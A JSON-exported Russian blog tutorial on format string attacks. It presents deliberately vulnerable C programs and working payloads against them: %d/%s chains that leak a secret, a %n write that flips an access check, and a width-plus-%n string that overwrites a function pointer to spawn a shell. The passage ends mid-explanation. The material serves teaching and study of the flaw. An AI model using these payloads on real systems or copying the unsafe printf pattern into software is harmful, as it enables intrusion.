{"id":271398,"date":"2015-12-30T13:03:06","date_gmt":"2015-12-30T10:03:06","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=271398"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=271398","title":{"rendered":"Printf Oriented Programming"},"content":{"rendered":"<p>       <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/8d8\/b54\/5fa\/8d8b545fa7d245b593d3735f72f3f63f.png\"\/><\/p>\n<h3>Intro<\/h3>\n<p>  \u041a \u0441\u0432\u043e\u0435\u043c\u0443 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u044e \u043d\u0435 \u043d\u0430\u0448\u0435\u043b \u0441\u0442\u0430\u0442\u0435\u0439 \u043d\u0430 \u0445\u0430\u0431\u0440\u0435 \u043f\u043e \u044d\u0442\u043e\u0439 \u0442\u0435\u043c\u0435 \u0438 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u044f \u0445\u043e\u0442\u0435\u043b \u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b. \u0412 \u043d\u0435\u0439 \u044f \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u044e\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0434\u043e\u0445\u043e\u0434\u0447\u0438\u0432\u043e \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u043e <a href=\"https:\/\/en.wikipedia.org\/wiki\/Uncontrolled_format_string\">Format String Attacks<\/a>, \u043e\u0434\u043d\u0430\u043a\u043e \u0441 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f\u043c\u0438. \u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043e\u043d\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445 \u0437\u0430\u0446\u0438\u043a\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u0430\u043c\u044b\u0445 \u0441\u0442\u043e\u0439\u043a\u0438\u0445, \u0434\u043e\u043b\u0438\u0441\u0442\u0430\u0432\u0448\u0438\u0445 \u0434\u043e \u043a\u043e\u043d\u0446\u0430, \u043f\u043e\u043c\u0438\u043c\u043e \u0431\u0435\u0441\u0446\u0435\u043d\u043d\u044b\u0445 \u0437\u043d\u0430\u043d\u0438\u0439 \u0436\u0434\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0431\u043e\u043d\u0443\u0441. <br \/>  <a name=\"habracut\"><\/a>  <\/p>\n<h3>\u0417\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0443\u0436\u043d\u043e?<\/h3>\n<p>  \u041f\u043e\u0434\u043e\u0431\u043d\u043e \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043d\u0443\u0436\u043d\u044b Format String Attacks \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u0438 \u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u043d\u0435\u0439 \u0432\u0441\u0435, \u0447\u0442\u043e \u0437\u0430\u0445\u043e\u0447\u0435\u0442\u0441\u044f. \u041e\u0434\u043d\u0430 \u0438\u0437 \u0432\u0430\u0436\u043d\u044b\u0445 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0431\u0435\u0437\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0435 \u043a \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0440\u043e\u0434\u0435 <abbr title=\"Data Execution Prevention\">w^x<\/abbr> \u0438 <abbr title=\"Address space layout randomization\">ASLR<\/abbr>. \u0418 \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u043e\u0432\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 <abbr title=\"Control-Flow Integrity\">CFI<\/abbr>.<\/p>\n<h3>\u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c?<\/h3>\n<p>  \u041a\u0430\u043a \u043c\u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043b\u0443\u0447\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0438\u0445 \u0441\u043b\u043e\u0432 \u0441\u0440\u0430\u0437\u0443 \u043a \u043a\u043e\u0434\u0443.<\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt;  void f(char *str) {     char *secret_data = &quot;My Awesome Key&quot;;     printf(str); }  int main(int argc, char **argv) {     f(argv[1]);     return 0; } <\/code><\/pre>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0414\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u0437\u0430\u0431\u044b\u043b \u043f\u0440\u043e printf<\/b><\/p>\n<div class=\"spoiler_text\">\u0424\u0443\u043d\u043a\u0446\u0438\u0438 printf()-like \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<ul>\n<li>\u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0441\u0442\u0440\u043e\u043a\u0443<\/li>\n<li>\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043f\u0435\u0446.\u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0441 %<\/li>\n<li>\u0412\u0435\u0440\u043d\u0443\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432<\/li>\n<\/ul>\n<p>  <\/div>\n<\/div>\n<p>  \u0427\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441 \u044d\u0442\u0438\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u043d\u0430\u0448 \u043a\u043e\u0434 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c. \u0417\u0434\u0435\u0441\u044c \u0438 \u0434\u0430\u043b\u0435\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0431\u0443\u0434\u0435\u043c \u0441 x86-32.<\/p>\n<pre><code class=\"bash\">$ cc -m32 format_vuln.c -o format_vuln $ .\/format_vuln %d 47 <\/code><\/pre>\n<p>  \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043e\u0442\u043a\u0443\u0434\u0430 \u0436\u0435 \u0432\u0437\u044f\u043b\u043e\u0441\u044c 47? \u041c\u044b \u0432\u0435\u0434\u044c \u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u0432\u044b\u0432\u0435\u0441\u0442\u0438 &quot;%d&quot;. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0431\u044b\u043b\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430 \u043d\u0430 C. \u0422\u0430\u043a \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0442\u0430\u043c \u043d\u0435\u0442, \u0442\u043e \u0438 \u043d\u0435 \u0437\u043d\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0431\u044b\u043b\u043e \u043f\u043e\u0434\u0430\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u043d\u0430 \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0430\u0440\u0441\u0438\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u0441 \u043a\u0430\u0436\u0434\u044b\u043c % \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0441\u043e \u0441\u0442\u0435\u043a\u0430. <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041e\u0442\u043a\u0443\u0434\u0430 \u0436\u0435 \u0432\u0441\u0435 \u0442\u0430\u043a\u0438 47?<\/b><\/p>\n<div class=\"spoiler_text\">\u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0435\u043a\u0435 \u043d\u0435 \u043e\u0431\u043d\u0443\u043b\u044f\u044e\u0442\u0441\u044f. \u0412\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0435\/\u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0443\u0442\u0435\u043c \u0443\u043c\u0435\u043d\u044c\u0448\u0435\u043d\u0438\u044f\/\u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. \u0422\u0430\u043a \u0447\u0442\u043e 47 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u0430\u043a\u0438\u0445-\u0442\u043e \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0439  <\/div>\n<\/div>\n<p>  \u041d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u0433\u0440\u0430\u0432\u0448\u0438\u0441\u044c \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0437\u0430\u0432\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447.<\/p>\n<pre><code class=\"bash\">$ .\/format_vuln %d.%d.%d.%d.%d.%d.%s 47.-145670960.-143695128.32768.-143929344.-143936984.My Awesome Key <\/code><\/pre>\n<p>  <\/p>\n<h3>\u041f\u043e\u0447\u0435\u043c\u0443 \u0438\u043c\u0435\u043d\u043d\u043e 6 %d?<\/h3>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0434\u0438\u0437\u0430\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e objdump:<\/p>\n<pre><code>080483fb &lt;f&gt;:  80483fb:   55                      push   ebp  80483fc:   89 e5                   mov    ebp,esp  80483fe:   83 ec 18                sub    esp,0x18  8048401:   c7 45 f4 d0 84 04 08    mov    DWORD PTR [ebp-0xc],0x80484d0  8048408:   83 ec 0c                sub    esp,0xc  804840b:   ff 75 08                push   DWORD PTR [ebp+0x8]  804840e:   e8 bd fe ff ff          call   80482d0 &lt;printf@plt&gt;  8048413:   83 c4 10                add    esp,0x10  8048416:   90                      nop  8048417:   c9                      leave  8048418:   c3                      ret <\/code><\/pre>\n<p>  \u041f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <b>0x80484d0<\/b> \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u043d\u0430\u0448 \u043a\u043b\u044e\u0447 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u043d \u0432 \u0441\u0442\u0435\u043a \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <b>ebp-0xc<\/b>. \u041d\u0430\u0448 \u043f\u0435\u0440\u0432\u044b\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043b\u0435\u0436\u0438\u0442 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <b>ebp+0x8<\/b>.<\/p>\n<p>  \u041f\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 <b>sub esp,0x**<\/b> \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0443\u0436\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. \u041f\u0440\u0438\u0447\u0435\u043c \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u044f\u0432\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u043b\u0438\u0448\u043d\u0435\u0433\u043e. \u042d\u0442\u043e \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445(padding) \u0438 \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u044d\u0442\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430\u043c\u0438, \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p>  \u0418\u0442\u043e\u0433\u043e \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043a \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c printf \u0442\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u044f\u0441\u043d\u043e \u043e\u0442\u043a\u0443\u0434\u0430 \u044d\u0442\u0438 6 %d.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/513\/cfa\/41e\/513cfa41eef54478a76bf237adf2f628.png\"\/><\/p>\n<h3>\u041d\u0435\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0444\u0438\u0447\u0438 printf<\/h3>\n<p>  \u041f\u043e\u043c\u0438\u043c\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0442\u0435\u0447\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 printf \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438.<\/p>\n<ul>\n<li><abbr title=\"\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 POSIX, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0435\u0437 \u0442\u0430\u043d\u0446\u0435\u0432 \u043d\u0430 win32 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c\">\u041e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a n-\u043e\u043c\u0443 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0443<\/abbr>, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u044b\u0437\u043e\u0432 printf(&quot;%3$d %1$d %2$d&quot;, 1, 2, 3) \u0432\u044b\u0432\u0435\u0434\u0435\u0442 \u00ab3, 1, 2\u00bb<\/li>\n<li>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u0438\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u0432\u043e\u0434\u0430 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u044b\u0437\u043e\u0432 printf(&quot;%.*s&quot;, 4, \u00abHello!\u00bb) \u0432\u044b\u0432\u0435\u0434\u0435\u0442 \u00abHell\u00bb<\/li>\n<li>\u0417\u0430\u043f\u0438\u0441\u044c \u0432 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 c \u043f\u043e\u043c\u043e\u0449\u044c\u044e %n<\/li>\n<\/ul>\n<p>  \u041a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u0438\u043c\u0435\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt;  int main() {     int i, j;     printf(&quot;Hello%2$n, world!%1$n\\n&quot;, &i, &j);     printf(&quot;%d %*d&quot;, i, 3, j);     return 0; } <\/code><\/pre>\n<p>  \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0442\u0430\u043a\u043e\u0439 \u0432\u044b\u0432\u043e\u0434:<\/p>\n<pre><code class=\"bash\">$ cc -m32 printfwrite.c -oprintfwrite $ .\/printfwrite Hello, world! 13   5 <\/code><\/pre>\n<p>  \u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u0430\u0441\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043d\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u0418\u0437\u043c\u0435\u043d\u0438\u043c <i>\u043d\u0435\u043c\u043d\u043e\u0433\u043e<\/i> \u043d\u0430\u0448 \u0441\u0442\u0430\u0440\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0441 \u043d\u0438\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c.<\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  void f(char *str, int acc) {     int *access = &acc;     printf(str);     if (*access) {         puts(&quot;Secret information revealed!&quot;);     } }  int main(int argc, char **argv) {     char *usr = getenv(&quot;USER&quot;);     if(usr==NULL) return EXIT_FAILURE;     f(argv[1], usr == &quot;kitsu&quot;);     return 0; } <\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"bash\">$ cc -m32 printfacccess.c -m32 -o printfacccess $ .\/printfacccess %d.%d.%d.%d.%d.%d.%n -4922064.2.4.-4922088.-143168832.-145108519.Secret information revealed! <\/code><\/pre>\n<p>  \u041d\u043e \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u0447\u0438\u0441\u043b\u043e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435? \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0432 \u0433\u043e\u043b\u043e\u0432\u0443 \u043f\u043e\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u0432. \u0421\u043a\u0430\u0436\u0435\u043c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0441 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0438 \u0435\u0441\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0434 printf, \u0447\u0442\u043e \u0436\u0435 \u043d\u0430\u043c \u0434\u0435\u043b\u0430\u0442\u044c?<\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  typedef void(*fptr)();  void routine() {     \/* do something useful *\/     puts(&quot;Routine done.&quot;); }  void shell() {     execve(&quot;\/bin\/bash&quot;, 0, 0); }  void f(char *str, fptr p) {     fptr ptr = p;     printf(str);     ptr(); }  int main(int argc, char **argv) {     f(argv[1], routine);     return 0; } <\/code><\/pre>\n<p>  \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0448\u0435\u043b\u043b\u0430 \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u2014 0x80484d4. \u0412\u044b\u0432\u0435\u0434\u0435\u043c \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u043f\u0438\u0448\u0435\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e.<\/p>\n<pre><code class=\"bash\">$ cc -m32 printfshell.c -oprintfshell $ .\/printfshell `python -c 'print(&quot;0&quot;*0x80484d4 + &quot;%n&quot;)'` bash: .\/printfshell: Argument list too long <\/code><\/pre>\n<p>  \u0423\u0432\u044b, \u0431\u0430\u0448\u0443 \u044d\u0442\u0430 \u0437\u0430\u0442\u0435\u044f \u043f\u0440\u0438\u0448\u043b\u0430\u0441\u044c \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u043e \u0434\u0443\u0448\u0435. \u041d\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0433\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0436\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u043e\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0448\u0438\u0440\u0438\u043d\u044b \u0432\u044b\u0432\u043e\u0434\u0430, \u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e %n.<\/p>\n<pre><code class=\"bash\">$ .\/printfshell `python -c 'print(&quot;%1$134513876.0X%7$n&quot;)'` &gt;out $ echo &quot;$$&quot; $ exit exit $ echo &quot;$$&quot; 3899 $ tail -c 4 out  3920 <\/code><\/pre>\n<p>  \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u0437\u0430 \u0447\u0443\u0434\u0435\u0441\u0430 \u0437\u0434\u0435\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0438. \u0417\u0434\u0435\u0441\u044c \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043d\u0430\u0448\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438 \u043e\u0442 \u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0430\u043d\u0441 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u043d\u0430\u043c \u0448\u0435\u043b\u043b\u0430.<\/p>\n<h4>\u0410 \u0447\u0442\u043e \u0432\u0441\u0435 \u0442\u0430\u043a\u0438 &quot;%1$134513876.0X%7$n&quot; \u0437\u043d\u0430\u0447\u0438\u0442?<\/h4>\n<p>  \u041e\u043d \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0434\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0438\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u0430 <b>&quot;%1$134513876.0X&quot;<\/b> \u0438 <b>&quot;%7$n&quot;<\/b>.<\/p>\n<p>  <b>%1$134513876.0X<\/b> \u2014 \u0432\u044b\u0432\u043e\u0434 \u043d\u0430 stdout \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430, \u0441 